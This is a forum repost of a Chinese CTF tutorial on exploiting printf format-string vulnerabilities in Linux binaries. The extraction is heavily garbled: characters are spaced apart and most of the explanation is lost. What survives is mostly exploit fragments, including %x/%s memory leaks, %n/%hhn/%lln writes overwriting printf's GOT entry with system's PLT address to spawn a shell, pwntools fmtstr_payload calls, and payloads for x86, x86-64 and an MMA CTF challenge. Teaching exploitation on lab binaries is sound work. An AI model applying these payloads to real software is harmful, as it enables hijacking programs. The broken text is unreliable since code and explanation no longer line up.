[19510] 2019-07-25_CTF必备技能丨LinuxPwn入门教程——格式化字符串漏洞

文档创建者:s7ckTeam
浏览次数:13
最后更新:2025-01-18
2019-07-25_CTF必备技能丨LinuxPwn入门教程——格式化字符串漏洞 C T F L i n u x   P w n i   2 0 1 9 - 0 7 - 2 5 L i n u x   P w n i P w n L i n u x   P w n i 3 8 6 / a m d 6 4 L i n u x   P w n P w n D o c k e r p y t h o n i L i n u x   P w n 1 2 p r i n t f p r i n t f C 使 p r i n t f ( [ ] ) p r i n t f ~ / f o r m a t _ x 8 6 / f o r m a t _ x 8 6 c h a r   s [ 2 0 ]   =   H e l l o   w o r l d ! n ; p r i n t f ( % s ,   s ) ; c h a r   s [ 2 0 ]   =   H e l l o   w o r l d ! n ; p r i n t f ( s ) ;
s y s t e m s h o w V e r s i o n (   ) 线 使 p r i n t f (   ) p r i n t f p r i n t f p r i n t f ( % s ,   H e l l o   w o r l d ) 使 % s p r i n t f p r i n t f c a l l   _ p r i n t f % x .
e s p - 4 % x % s % s % s % s % s 0 x 0 A % s ( 0 0 0 A 7 3 2 5   =   % s n x 0 0 ) x 0 1 x 8 0 x 0 4 x 0 8 % x . % x . % x . % x . % s E L F 0 8 0 4 8 0 0 0 + 1 0 8 0 4 8 0 0 0 p w n t o o l s + I D A
0 x 0 8 0 4 8 0 0 1 p a y l o a d p r i n t f 使 p r i n t f 使 % x ( ) 使 % s p r i n t f % x 使 n % 4 $ s % 5 $ s n % ( n - 1 ) $ [ ] p a y l o a d x 0 1 x 8 0 x 0 4 x 0 8 % 5 $ s 使 使 g e t s h e l l 使 p r i n t f p r i n t f % n p a y l o a d x 8 c x 9 7 x 0 4 x 0 8 % 5 $ n 0 8 0 4 9 7 8 c . b s s 0 p r i n t f 4 x 8 c x 9 7 x 0 4 x 0 8
p a y l o a d x 8 c x 9 7 x 0 4 x 0 8 % 2 0 4 8 c % 5 $ n 0 8 0 4 9 7 8 c 0 x 8 0 4 e x p s h e l l s y s t e m g o t s y s t e m p l t s y s t e m ( / b i n / s h ) g o t p r i n t f p r i n t f s y s t e m r e a d / b i n / s h p r i n t f ( / b i n / s h ) s y s t e m ( / b i n / s h ) p a y l o a d p 3 2 ( p r i n t f _ g o t ) 4 s y s t e m _ p l t 4 p a y l o a d g o t p r i n t f / b i n / s h s h e l l c a l l   _ p r i n t f i o . i n t e r a c t i v e (   ) 使 i o . r e c v a l l (   ) 1 2 8 . 2 8 M B p a y l o a d 1 3 4 5 1 3 4 3 6 / d o c k e r e x p p r i n t f _ g o t   =   0 x 0 8 0 4 9 7 7 8 s y s t e m _ p l t   =   0 x 0 8 0 4 8 3 2 0 p a y l o a d   =   p 3 2 ( p r i n t f _ g o t ) + % + s t r ( s y s t e m _ p l t - 4 ) + c % 5 $ n
6 4 % l l d ,   % l l x ( q w o r d ) 使 % h d ,   % h h x ( w o r d ) ( b y t e ) % n % h n ,   % h h n g o t p r i n t f 使 % h h n p a y l o a d p a y l o a d x 8 6 x 8 6 - 6 4 p r i n t f _ g o t 0 x 2 0 0 x 0 8 0 4 9 7 7 8 0 x 2 0 0 x 0 8 0 4 9 7 7 8 + 2 0 x 8 3 0 x 2 0 ( 1 6 + 0 x 2 0 - 1 6 % c ) 0 x 8 3 - 0 x 2 0 0 x 0 8 0 4 9 7 7 8 + 4 0 x 0 4 0 x 8 3 0 x 0 4 + 0 x 1 0 0 = 0 x 1 0 4 0 x 0 4 0 x 0 8 0 4 9 7 7 8 + 6 p r i n t f _ g o t   =   0 x 0 8 0 4 9 7 7 8 s y s t e m _ p l t   =   0 x 0 8 0 4 8 3 2 0 p a y l o a d   =   p 3 2 ( p r i n t f _ g o t ) p a y l o a d   + =   p 3 2 ( p r i n t f _ g o t + 1 ) p a y l o a d   + =   p 3 2 ( p r i n t f _ g o t + 2 ) p a y l o a d   + =   p 3 2 ( p r i n t f _ g o t + 3 ) p a y l o a d   + =   % p a y l o a d   + =   s t r ( 0 x 2 0 - 1 6 ) p a y l o a d   + =   c % 5 $ h h n p a y l o a d   + =   % p a y l o a d   + =   s t r ( 0 x 8 3 - 0 x 2 0 ) p a y l o a d   + =   c % 6 $ h h n p a y l o a d   + =   % p a y l o a d   + =   s t r ( 0 x 1 0 4 - 0 x 8 3 ) p a y l o a d   + =   c % 7 $ h h n p a y l o a d   + =   % p a y l o a d   + =   s t r ( 0 x 0 8 - 0 x 0 4 ) p a y l o a d   + =   c % 8 $ h h n
p a y l o a d ' x 7 8 x 9 7 x 0 4 x 0 8 x 7 9 x 9 7 x 0 4 x 0 8 x 7 a x 9 7 x 0 4 x 0 8 x 7 b x 9 7 x 0 4 x 0 8 % 1 6 c % 5 $ h h n % 9 9 c % 6 $ h h n % 1 2 9 c % 7 $ h h n % 4 c % 8 $ h h n ' p a y l o a d p w n t o o l s 使 F m t s t r h t t p : / / d o c s . p w n t o o l s . c o m / e n / s t a b l e / f m t s t r . h t m l   使 f m t s t r _ p a y l o a d ( o f f s e t ,   { a d d r e s s : d a t a } ,   n u m b w r i t t e n = 0 , w r i t e _ s i z e = b y t e ) o f f s e t ( ) 5 n u m b w r i t t e n p r i n t f p r i n t f ( H e l l o   [ v a r ] ) H e l l o   6   % h h n ( b y t e ) ,   % h n ( w o r d ) % n ( d w o r d ) . f m t s t r _ p a y l o a d ( 5 ,   { p r i n t f _ g o t : s y s t e m _ p l t } ) s h e l l 6 4 3 2 6 4 ~ / f o r m a t _ x 8 6 - 6 4 / f o r m a t _ x 8 6 - 6 4 使 6 4
0 . 6 4 r d i ,   r s i ,   r d x ,   r c x ,   r 8 ,   r 9 6 . % l l x . g o t p r i n t f p l t s y s t e m 使 f m t s t r _ p a y l o a d p a y l o a d p a y l o a d g o t p r i n t f p l t s y s t e m p a y l o a d
p r i n t f p a y l o a d ( x 2 0 ) x 1 0 ` ( x 6 0 ) p a y l o a d x 2 0 x 1 0 x 6 0 x 0 0 x 0 0 0 x 0 8 0 4 8 0 0 1 0 x 0 8 0 4 8 0 0 0 6 4 x 0 0 ( 6 4 1 6 1 6 ) 使 p a y l o a d p a y l o a d p a y l o a d x 0 0 % h h n p a y l o a d p a y l o a d i o . r e c v a l l (   ) o f f s e t   =   6 p r i n t f _ g o t   =   0 x 0 0 6 0 1 0 2 0 s y s t e m _ p l t   =   0 x 0 0 4 0 0 4 6 0 p a y l o a d   =   %   +   s t r ( s y s t e m _ p l t )   +   c % 6 $ l l n   +   p 6 4 ( p r i n t f _ g o t )
p a y l o a d 使 o f f s e t 使 使 使 使 g e t s h e l l 使 R O P s t a r t 使 ~ / M M A   C T F   2 n d   2 0 1 6 - g r e e t i n g / g r e e t i n g o f f s e t   =   8 p r i n t f _ g o t   =   0 x 0 0 6 0 1 0 2 0 s y s t e m _ p l t   =   0 x 0 0 4 0 0 4 6 0 p a y l o a d   =   a %   +   s t r ( s y s t e m _ p l t - 1 )   +   c % 6 $ l l n   +   p 6 4 ( p r i n t f _ g o t )
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则